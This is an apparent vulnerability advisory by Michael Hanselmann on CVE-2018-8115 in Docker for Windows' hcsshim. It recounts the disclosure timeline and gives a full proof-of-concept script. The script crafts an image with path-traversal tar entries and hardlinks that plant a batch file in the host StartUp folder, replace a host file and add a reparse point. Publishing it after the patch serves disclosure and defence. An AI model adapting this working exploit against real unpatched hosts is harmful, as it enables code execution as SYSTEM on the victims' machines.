Author: Michael Hanselmann. Updated: May 9, 2018.

Docker for Windows uses the Windows Host Compute Service Shim published and maintained by Microsoft. Its use of Go's filepath.Join function with unsanitized input allowed to create, remove and replace files in the host file system, leading to remote code execution. Importing a Docker container image or pulling one from a remote registry isn't commonly expected to make modifications to the host file system outside of the Docker-internal data structures. The vulnerability reference is CVE-2018-8115.

hcsshim 0.6.10 released on May 2, 2018 resolves the issue. Microsoft has patched their own infrastructure hosting offerings, as have Microsoft partners with Google among them. The following Docker versions have already been built to contain the necessary patches (pull request):

I reported the issue to Microsoft's security response center (MSRC) and Docker in February 2018 using responsible disclosure. Both were involved in resolving the issue. Microsoft's automated handling of security reports made establishing an initial contact slightly difficult, but eventually good and productive communication was established. None of Microsoft's bounty programs applied to this vulnerability.

Reproduction

The proof-of-concept code writes and replaces a couple of files in the host system. The Docker engine service runs as SYSTEM, hence there are virtually no limitations where and which files can be touched (in-use files aside). DLL preloading attacks are likely possible. In agreement with Microsoft's security response center this reproduction was published only on May 9, 2018, a week after the vulnerability itself.

The original report used the following environment:

  1. Install Docker for Windows
  2. Switch Docker to Windows containers (unrelated to the issue, but required due to limitations in the author‘s test environment):
  3. Test whether Docker daemon works:
  4. Start a local Docker registry (only tested on Linux):
    docker run -p 5000:5000 --name registry docker.io/library/registry:2
  5. Prepare script to write and upload malicious Docker image (tested only on Linux):
    $ cat > generate-and-push-image.bash <<'EOSCRIPT'
    #!/bin/bash
    #
    # Copyright (C) 2018, Michael Hanselmann <https://hansmi.ch/>
    #
    
    set -e -u -o pipefail
    set -x
    
    registry=http://localhost:5000
    
    tmpdir=$(mktemp -d)
    trap 'rm -rf "$tmpdir"' EXIT
    
    tmplayer="${tmpdir}/layer.tar"
    
    digest() {
      echo -n sha256: && \
      sha256sum | cut -c-64
    }
    
    upload() {
      local datafile="$1"
      local digest="$(digest < "$datafile")"
    
      # Prepare upload
      local upload_location=$(
        curl -v --dump-header - -XPOST "${registry}/v2/evil/image/blobs/uploads/" |
        perl -ne 'chomp && /^Location:\s*(.+?)\s*$/ && print $1'
        )
    
      echo "upload_location=${upload_location}" >&2
    
      curl -v -XPUT --header 'Expect:' --data-binary "@${datafile}" \
        --header 'Content-Type: application/octet-stream' \
        "${upload_location}&digest=${digest}"
    
      echo -n "$digest"
    }
    
    write_base_layer() {
      # Tar containing hive files and dummy Dockerfile
      base64 -d <<'EOF' | gunzip -c
    H4sIANXIjFoAA+3d3W7bdBjHcbdaQYoYTGy89MyHcNL43elBQU6bqhUr6QtjVEJDJnOyqC9Bjrt2
    HO0SuAkkBBfADXDCMTfAEadcQrFju9ip2yWd46zx9yM1cfz4n3hOn7/n6Kdm2z7bcOynjttfkqrr
    3UOnL+ROCl11LymaKsiqf6uokiTrgiQrmqkL4ln+u3LZSd+zXX9XXvd5hv9xt4RWEx9u1q3d1Y3N
    rxtLLdexvW7v2OseOSuyLi8rkqLK5pKumrWa4b87FUUXt/Yeb3651ny8t9T2f19sz3NXZKOiSqJ9
    9TC/2rq2enR1ddqHaKZNqOVTJEm7tv+D5XT/S4qkCqI+4f0aKHn/D97/6nbyLLDWax04btDbOb3G
    q+Z/XVUS77/sv/+arsnM/0VQR5j/1StmfVWpKLKaqLj2af/pirVjNTr1Hct3YMXWBrd1qxM+rO8N
    7jqDxzuNaKNH0dq6v3Yn2rBjVU8bbctqrEYbrW8Gt6tW+Nh/nahej+uN6DXWrdWqtbuVfP6H0cK+
    9cWBv5OX9udZ8LiiXDqVqdknMMOUzWU5OCteOoGpt+S0FfZ/7i2f4s/n18//ujHU/4qi+/1fSBOV
    vP/Xd5tb4lG35fb6vbZXPbaPe33Hfe64dyt3K6vN7X3x/98NsTrtvUXeUmf+je7zN+T6T5c5/xeC
    679ym1DLp9zk+k82uf4rwuD9H7r+c9r2yaH3yP9/wHdrzqFnv+5rjD//G5LG53+FGHH+12TTqBlX
    zv/+lWDm/H8xLHP+T1Yvz/8X1WkfopkW9n/uLZ9y/fWfkjH/q3rQ/1z/TZ7rdNpz/v1cYl2w/FZi
    WQwW7qW3mZT5V9Sb7d1OEftRBov39bmff/vwyb+//sUhBQAAAIAZ9+z77vFg4V52/Zfz8/PjA1H4
    84+3L64T/VXncf08Ei+fDdWT7vg/u83mV8HyN/42/QNBCLYPfoIn/mlwf+flD/79y2jMAyH4TODb
    wVhh/oHwufCeMBderS68P1j3cbgu/OBgQfRvxPlw20V/ZLRteJtet/BOUBgaN/z473evPXwAAAAA
    ANwKGfmvPfso3xDI+PkvTdUU8l9FGDX/pZh6TRk//xUPy85/JaoZ+a+4Ou1DNNPC/s+95VPGz38p
    UtD/5L8mj/xXeQX5r/nfPyL/BQAAAAAlQP4rPY78FwAAAABgFmXlv5zWidv1XuSWCBk//6VrKn//
    sRCj5r9UU5PM8fNf8bDs/FeimpH/iqvTPkQzLcp/5d3yKTf4+1+yyt9/LgT5r/IK8l//7C+S/wIA
    AACAEiD/lR5H/gsAAAAAMIuy8l+9tndqu85U81+yRv6rCKN+/69RW9aWx85/XQzL/v7fRDXj+3/j
    6rQP0UyL8l95t3zKTfJfQf+T/5o88l/lFeS/Pv3sPvkvAAAAACgB8l/pceS/AAAAAACzKCv/9aLv
    OXl+H9wN8l+yZJD/KsKo+S+zVjPU8fNf8bDs/FeimpH/iqvTPkQzLcp/5d3yKTf4/kcj6H/yX5NH
    /qu8gvzXJz9+QP4LAAAAAEqA/Fd6HPkvAAAAAAAAAAAAAAAAAAAAAG+q/wA9MZkjAPAAAA==
    EOF
    }
    
    write_layer() {
      write_base_layer > "${tmpdir}/demo.tar"
    
      python3 -c '
    import sys
    import time
    import tarfile
    import tempfile
    import struct
    
    startupfile = \
      "Users/All Users/Application Data/Start Menu/Programs/StartUp/evil.bat"
    
    with tempfile.NamedTemporaryFile() as script, \
         tempfile.NamedTemporaryFile() as doc, \
         tempfile.NamedTemporaryFile() as demo, \
         tempfile.NamedTemporaryFile() as reparse, \
         tarfile.open(sys.argv[1], "w", format=tarfile.PAX_FORMAT) as tar:
      # Generate new digest every time
      script.write("echo Hello World {}\r\npause\r\n".format(time.time()).encode("ascii"))
      script.flush()
    
      doc.write(b"Document replaced")
      doc.flush()
    
      demo.write(b"Put here by image")
      demo.flush()
    
      tar.add(script.name, arcname="Files/script.bat")
      tar.add(doc.name, arcname="Files/text.txt")
    
      tar.add(demo.name, arcname="../../../../../../../../fromimage.txt")
    
      # Hardlink for startup script
      info = tarfile.TarInfo("Files\\../../../../../../../../" + startupfile)
      info.type = tarfile.LNKTYPE
      info.linkname = "Files\\script.bat"
      tar.addfile(info)
    
      # Replace file with hardlink
      info = tarfile.TarInfo("Files\\../../../../../../../Resume.txt")
      info.type = tarfile.LNKTYPE
      info.linkname = "Files\\text.txt"
      tar.addfile(info)
    
      # Insert reparse point
    
      target = r"\Users"
      ntTarget = target
    
      target16 = (target + "\0").encode("utf-16")
      ntTarget16 = (ntTarget + "\0").encode("utf-16")
    
      size = 18 + len(ntTarget16) + len(target16)
    
      # Tag
      reparse.write(struct.pack("<IHHHHHI",
        # Tag
        0xA000000C,
        size,
        # SubstituteNameOffset
        0,
        # SubstituteNameLength
        len(ntTarget16) - 1,
        # PrintNameOffset
        len(ntTarget16),
        # PrintNameLength
        len(target16) - 1,
        # Flags
        1,
      ))
      reparse.write(ntTarget16)
      reparse.write(target16)
      reparse.flush()
    
      #print(reparse.tell(), size)
    
      assert reparse.tell() == size
    
      info = tarfile.TarInfo("Files/hostusers")
      info.type = tarfile.SYMTYPE
      info.mode = 0o160000
      info.pax_headers = {
        "MSWINDOWS.fileattr": "1040",
      }
      info.linkname = target
      tar.addfile(info, reparse.name)
    ' "${tmpdir}/evil.tar"
    
      cat < "${tmpdir}/demo.tar" > "$tmplayer"
      tar --concatenate --absolute-names -f "$tmplayer" "${tmpdir}/evil.tar"
    
      tar -Ptvf "$tmplayer"
    }
    
    write_layer
    
    layer_digest=$(upload "$tmplayer")
    layer_size=$(stat --format='%s' "$tmplayer")
    
    cat >"${tmpdir}/config.json" <<EOF
    {
      "architecture": "amd64",
      "config": {
        "Hostname": "",
        "Domainname": "",
        "User": "",
        "AttachStdin": false,
        "AttachStdout": false,
        "AttachStderr": false,
        "Tty": false,
        "OpenStdin": false,
        "StdinOnce": false,
        "Env": null,
        "Cmd": [
          "noop"
        ],
        "Image": "sha256:8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12",
        "Volumes": null,
        "WorkingDir": "",
        "Entrypoint": null,
        "OnBuild": null,
        "Labels": null
      },
      "container_config": {
        "Hostname": "",
        "Domainname": "",
        "User": "",
        "AttachStdin": false,
        "AttachStdout": false,
        "AttachStderr": false,
        "Tty": false,
        "OpenStdin": false,
        "StdinOnce": false,
        "Env": null,
        "Cmd": [
          "cmd",
          "/S",
          "/C",
          ""
        ],
        "Image": "sha256:8a62949f00589b4b9e99586bd40555ad36c1719a4d1c60d7094fbfb5997c4d12",
        "Volumes": null,
        "WorkingDir": "",
        "Entrypoint": null,
        "OnBuild": null,
        "Labels": null
      },
      "created": "2018-02-21T08:54:32.3339289Z",
      "docker_version": "17.12.0-ce",
      "history": [
        {
          "created": "2016-12-13T10:47:17Z",
          "created_by": "Apply image 10.0.14393.0"
        },
        {
          "created": "2018-02-13T19:43:23Z",
          "created_by": "Install update 10.0.14393.2068"
        },
        {
          "created": "2018-02-21T08:54:32.3339289Z",
          "created_by": ""
        }
      ],
      "os": "windows",
      "os.version": "10.0.14393.2068",
      "rootfs": {
        "type": "layers",
        "diff_ids": [
          "sha256:6c357baed9f5177e8c8fd1fa35b39266f329535ec8801385134790eb08d8787d",
          "sha256:06def82ae218583423386cf68ab2dbb0715e69132d9b74e2fbdd9173142ef6f7",
          "${layer_digest}"
        ]
      }
    }
    EOF
    
    config_digest=$(upload "${tmpdir}/config.json")
    config_size=$(stat --format='%s' "${tmpdir}/config.json")
    
    cat >"${tmpdir}/manifest.json" <<EOF
    {
       "schemaVersion": 2,
       "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
       "config": {
          "mediaType": "application/vnd.docker.container.image.v1+json",
          "size": ${config_size},
          "digest": "${config_digest}"
       },
       "layers": [
          {
             "mediaType": "application/vnd.docker.image.rootfs.foreign.diff.tar.gzip",
             "size": 252691002,
             "digest": "sha256:bce2fbc256ea437a87dadac2f69aabd25bed4f56255549090056c1131fad0277",
             "urls": [
                "https://go.microsoft.com/fwlink/?linkid=837858"
             ]
          },
          {
             "mediaType": "application/vnd.docker.image.rootfs.foreign.diff.tar.gzip",
             "size": 152802641,
             "digest": "sha256:cb1aafb7147372cc64faa070b94a893b8cd2e3de3a0e8001dc225c627d991c58",
             "urls": [
                "https://go.microsoft.com/fwlink/?linkid=867858"
             ]
          },
          {
             "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
             "size": ${layer_size},
             "digest": "${layer_digest}"
          }
       ]
    }
    EOF
    
    curl -v -XPUT --data "@${tmpdir}/manifest.json" \
      --header 'Content-Type: application/vnd.docker.distribution.manifest.v2+json' \
      "${registry}/v2/evil/image/manifests/latest"
    EOSCRIPT
    
  6. Upload specially crafted image to registry using generate-and-push-image.bash. The image is tagged evil/image:latest.
  7. Write a document on the target system at C:\resume.txt (will be replaced by image)
  8. Pull image from previously started registry to which the malicious image was pushed. Note how the batch file doesn't exist at first. There are no errors during the operation.
  9. The text document created previously has been replaced (technically it's a hardlink to a file in the container)
  10. Also put in place was a file directly in the host file system. This starts with a go-winio backup stream header, but depending on the file format that may be a non-issue.
  11. The proof-of-concept exploit also writes an NTFS reparse point, though that is not explored further in this description.
  12. Log out and in again. The batch file is executed (as expected for this demonstration; the written file(s) could have different effects).